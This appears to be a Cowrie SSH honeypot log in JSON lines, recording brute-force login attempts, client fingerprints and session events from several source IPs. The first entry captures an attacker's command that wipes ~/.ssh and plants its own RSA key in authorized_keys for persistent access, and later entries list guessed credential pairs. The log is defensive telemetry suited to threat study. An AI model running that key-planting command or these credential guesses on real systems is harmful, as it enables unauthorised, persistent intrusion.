{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:28.004553Z","src_ip":"109.91.4.177","session":"041a66c8fa32","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:28.119478Z","src_ip":"109.91.4.177","session":"041a66c8fa32","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:28.123282Z","src_ip":"109.91.4.177","session":"041a66c8fa32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":60076,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fce6965862f","protocol":"ssh","message":"New connection: 109.91.4.177:60076 (10.17.0.5:22) [session: 9fce6965862f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:28.253149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:28.257708Z","src_ip":"109.91.4.177","session":"9fce6965862f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:28.366113Z","src_ip":"109.91.4.177","session":"9fce6965862f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:28.832677Z","src_ip":"109.91.4.177","session":"9fce6965862f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:29.940110Z","src_ip":"109.91.4.177","session":"9fce6965862f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":64624,"dst_ip":"10.17.0.5","dst_port":22,"session":"ede6280d1239","protocol":"ssh","message":"New connection: 109.91.4.177:64624 (10.17.0.5:22) [session: ede6280d1239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:30.067819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:30.078128Z","src_ip":"109.91.4.177","session":"ede6280d1239","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:30.192134Z","src_ip":"109.91.4.177","session":"ede6280d1239","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:30.675586Z","src_ip":"109.91.4.177","session":"ede6280d1239","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:30.796711Z","src_ip":"109.91.4.177","session":"041a66c8fa32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:30.802205Z","src_ip":"109.91.4.177","session":"ede6280d1239","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.727078676223755,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:38.311841Z","src_ip":"160.119.35.217","session":"69446cf1f920","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":48260,"dst_ip":"10.17.0.5","dst_port":22,"session":"23b84babb10a","protocol":"ssh","message":"New connection: 103.106.188.32:48260 (10.17.0.5:22) [session: 23b84babb10a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:46.217110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:46.221867Z","src_ip":"103.106.188.32","session":"23b84babb10a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:46.443787Z","src_ip":"103.106.188.32","session":"23b84babb10a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user2024","message":"login attempt [user/user2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:47.432084Z","src_ip":"103.106.188.32","session":"23b84babb10a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:48.650077Z","src_ip":"103.106.188.32","session":"23b84babb10a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":60154,"dst_ip":"10.17.0.5","dst_port":22,"session":"9743ccfdcc44","protocol":"ssh","message":"New connection: 103.248.120.6:60154 (10.17.0.5:22) [session: 9743ccfdcc44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:51.903592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:51.910397Z","src_ip":"103.248.120.6","session":"9743ccfdcc44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:52.129890Z","src_ip":"103.248.120.6","session":"9743ccfdcc44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2123","message":"login attempt [root/admin2123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:53.041621Z","src_ip":"103.248.120.6","session":"9743ccfdcc44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.64.168.136","src_port":45516,"dst_ip":"10.17.0.5","dst_port":22,"session":"012f21c9bc3a","protocol":"ssh","message":"New connection: 143.64.168.136:45516 (10.17.0.5:22) [session: 012f21c9bc3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:53.863289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:53.867554Z","src_ip":"143.64.168.136","session":"012f21c9bc3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:54.112596Z","src_ip":"143.64.168.136","session":"012f21c9bc3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:54.263278Z","src_ip":"103.248.120.6","session":"9743ccfdcc44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"Passw0rd","message":"login attempt [ftpuser/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:55.128663Z","src_ip":"143.64.168.136","session":"012f21c9bc3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:48:56.377347Z","src_ip":"143.64.168.136","session":"012f21c9bc3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":48766,"dst_ip":"10.17.0.5","dst_port":22,"session":"77c7c55acf14","protocol":"ssh","message":"New connection: 103.146.202.174:48766 (10.17.0.5:22) [session: 77c7c55acf14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:23.352567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:23.357568Z","src_ip":"103.146.202.174","session":"77c7c55acf14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:23.607525Z","src_ip":"103.146.202.174","session":"77c7c55acf14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":63617,"dst_ip":"10.17.0.5","dst_port":22,"session":"6624f9855e96","protocol":"ssh","message":"New connection: 109.91.4.177:63617 (10.17.0.5:22) [session: 6624f9855e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:23.927379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:23.932665Z","src_ip":"109.91.4.177","session":"6624f9855e96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:24.039822Z","src_ip":"109.91.4.177","session":"6624f9855e96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wp-user","password":"123","message":"login attempt [wp-user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:24.510079Z","src_ip":"109.91.4.177","session":"6624f9855e96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"123456","message":"login attempt [user3/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:24.717803Z","src_ip":"103.146.202.174","session":"77c7c55acf14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:25.623957Z","src_ip":"109.91.4.177","session":"6624f9855e96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:25.971888Z","src_ip":"103.146.202.174","session":"77c7c55acf14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":52700,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7cfb6c05337","protocol":"ssh","message":"New connection: 209.99.189.177:52700 (10.17.0.5:22) [session: b7cfb6c05337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:43.371885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:49:43.380076Z","src_ip":"209.99.189.177","session":"b7cfb6c05337","protocol":"ssh"}
